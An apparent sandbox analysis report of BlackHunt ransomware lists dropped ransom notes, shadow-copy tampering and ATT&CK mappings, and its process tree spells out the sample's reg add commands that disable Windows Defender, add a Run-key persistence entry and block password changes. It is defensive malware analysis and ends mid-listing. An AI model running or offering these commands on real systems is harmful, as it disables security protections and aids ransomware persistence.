File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Bishkek	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File created	C:\Program Files\VideoLAN\VLC\locale\si\LC_MESSAGES\#BlackHunt_ReadMe.txt	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sl\#BlackHunt_ReadMe.hta	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\si\LC_MESSAGES\vlc.mo	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\#BlackHunt_ReadMe.txt	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Nauru	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\#BlackHunt_ReadMe.hta	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.update.configurator.nl_zh_4.4.0.v20140623020002.jar	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Argentina\Cordoba	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\appletrailers.luac	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_trans_matte.wmv	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\1047x576black.png	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\full.png	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\NavigationRight_SelectionSubpicture.png	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Dublin	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\mc.jar	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.osgi.nl_ja_4.4.0.v20140623020002.jar	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-ui_ja.jar	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\META-INF\#BlackHunt_Private.key	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-sendopts.xml	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Dili	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT+1	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lg\#BlackHunt_ReadMe.hta	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\audio_mixer\#BlackHunt_Private.key	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File created	C:\Program Files\VideoLAN\VLC\skins\#BlackHunt_Private.key	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInAcrobat.gif	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Lagos	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\#BlackHunt_ReadMe.txt	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\Java\jre7\lib\ext\jaccess.jar	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\#BlackHunt_ReadMe.hta	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Notes_LOOP_BG.wmv	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Tunis	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\Bermuda	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-options.jar	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\org-netbeans-lib-profiler-ui.xml	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tr\LC_MESSAGES\#BlackHunt_Private.key	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Multimedia.api	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\#BlackHunt_ReadMe.txt	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\js\jquery.jstree.js	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-utilities_ja.jar	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File created	C:\Program Files\VideoLAN\VLC\locale\et\LC_MESSAGES\#BlackHunt_ReadMe.txt	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tk.txt	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
836	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
3856	vssadmin.exe
2120	vssadmin.exe
2112	vssadmin.exe
3056	vssadmin.exe
1748	vssadmin.exe
1608	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1308	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4004	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2028	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
Token: SeRestorePrivilege	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
Token: SeBackupPrivilege	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
Token: SeTakeOwnershipPrivilege	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
Token: SeAuditPrivilege	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
Token: SeSecurityPrivilege	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
Token: SeIncBasePriorityPrivilege	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
Token: SeBackupPrivilege	2228	vssvc.exe
Token: SeRestorePrivilege	2228	vssvc.exe
Token: SeAuditPrivilege	2228	vssvc.exe
Token: SeBackupPrivilege	1784	wbengine.exe
Token: SeRestorePrivilege	1784	wbengine.exe
Token: SeSecurityPrivilege	1784	wbengine.exe
Token: SeSecurityPrivilege	3388	wevtutil.exe
Token: SeBackupPrivilege	3388	wevtutil.exe
Token: SeSecurityPrivilege	3536	wevtutil.exe
Token: SeSecurityPrivilege	3128	wevtutil.exe
Token: SeBackupPrivilege	3536	wevtutil.exe
Token: SeBackupPrivilege	3128	wevtutil.exe
Token: SeSecurityPrivilege	2896	wevtutil.exe
Token: SeBackupPrivilege	2896	wevtutil.exe
Token: SeSecurityPrivilege	3500	wevtutil.exe
Token: SeBackupPrivilege	3500	wevtutil.exe
Token: SeDebugPrivilege	1308	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2504 wrote to memory of 2688	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	29
PID 2504 wrote to memory of 2688	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	29
PID 2504 wrote to memory of 2688	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	29
PID 2504 wrote to memory of 2688	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	29
PID 2504 wrote to memory of 2800	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	31
PID 2504 wrote to memory of 2800	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	31
PID 2504 wrote to memory of 2800	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	31
PID 2504 wrote to memory of 2800	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	31
PID 2504 wrote to memory of 2852	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	32
PID 2504 wrote to memory of 2852	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	32
PID 2504 wrote to memory of 2852	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	32
PID 2504 wrote to memory of 2852	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	32
PID 2688 wrote to memory of 2788	2688	cmd.exe	34
PID 2688 wrote to memory of 2788	2688	cmd.exe	34
PID 2688 wrote to memory of 2788	2688	cmd.exe	34
PID 2504 wrote to memory of 3004	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	36
PID 2504 wrote to memory of 3004	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	36
PID 2504 wrote to memory of 3004	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	36
PID 2504 wrote to memory of 3004	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	36
PID 2504 wrote to memory of 2280	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	38
PID 2504 wrote to memory of 2280	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	38
PID 2504 wrote to memory of 2280	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	38
PID 2504 wrote to memory of 2280	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	38
PID 2800 wrote to memory of 2816	2800	cmd.exe	40
PID 2800 wrote to memory of 2816	2800	cmd.exe	40
PID 2800 wrote to memory of 2816	2800	cmd.exe	40
PID 2852 wrote to memory of 2620	2852	cmd.exe	41
PID 2852 wrote to memory of 2620	2852	cmd.exe	41
PID 2852 wrote to memory of 2620	2852	cmd.exe	41
PID 2280 wrote to memory of 2612	2280	cmd.exe	42
PID 2280 wrote to memory of 2612	2280	cmd.exe	42
PID 2280 wrote to memory of 2612	2280	cmd.exe	42
PID 3004 wrote to memory of 2608	3004	cmd.exe	43
PID 3004 wrote to memory of 2608	3004	cmd.exe	43
PID 3004 wrote to memory of 2608	3004	cmd.exe	43
PID 2504 wrote to memory of 1700	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	44
PID 2504 wrote to memory of 1700	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	44
PID 2504 wrote to memory of 1700	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	44
PID 2504 wrote to memory of 1700	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	44
PID 2504 wrote to memory of 2696	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	46
PID 2504 wrote to memory of 2696	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	46
PID 2504 wrote to memory of 2696	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	46
PID 2504 wrote to memory of 2696	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	46
PID 2504 wrote to memory of 2780	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	48
PID 2504 wrote to memory of 2780	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	48
PID 2504 wrote to memory of 2780	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	48
PID 2504 wrote to memory of 2780	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	48
PID 2504 wrote to memory of 2604	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	50
PID 2504 wrote to memory of 2604	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	50
PID 2504 wrote to memory of 2604	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	50
PID 2504 wrote to memory of 2604	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	50
PID 2504 wrote to memory of 2704	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	52
PID 2504 wrote to memory of 2704	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	52
PID 2504 wrote to memory of 2704	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	52
PID 2504 wrote to memory of 2704	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	52
PID 2504 wrote to memory of 2636	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	54
PID 2504 wrote to memory of 2636	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	54
PID 2504 wrote to memory of 2636	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	54
PID 2504 wrote to memory of 2636	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	54
PID 1700 wrote to memory of 2308	1700	cmd.exe	55
PID 1700 wrote to memory of 2308	1700	cmd.exe	55
PID 1700 wrote to memory of 2308	1700	cmd.exe	55
PID 2504 wrote to memory of 2752	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	56
PID 2504 wrote to memory of 2752	2504	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe	56

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
"C:\Users\Admin\AppData\Local\Temp\fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2688
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2800
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2852
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3004
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2280
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1700
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2308
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2696
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2780
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2604
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2704
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2636
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2752
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2760
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:1952
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2884
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2928
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2900
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2448
- C:\Windows\System32\cmd.exe
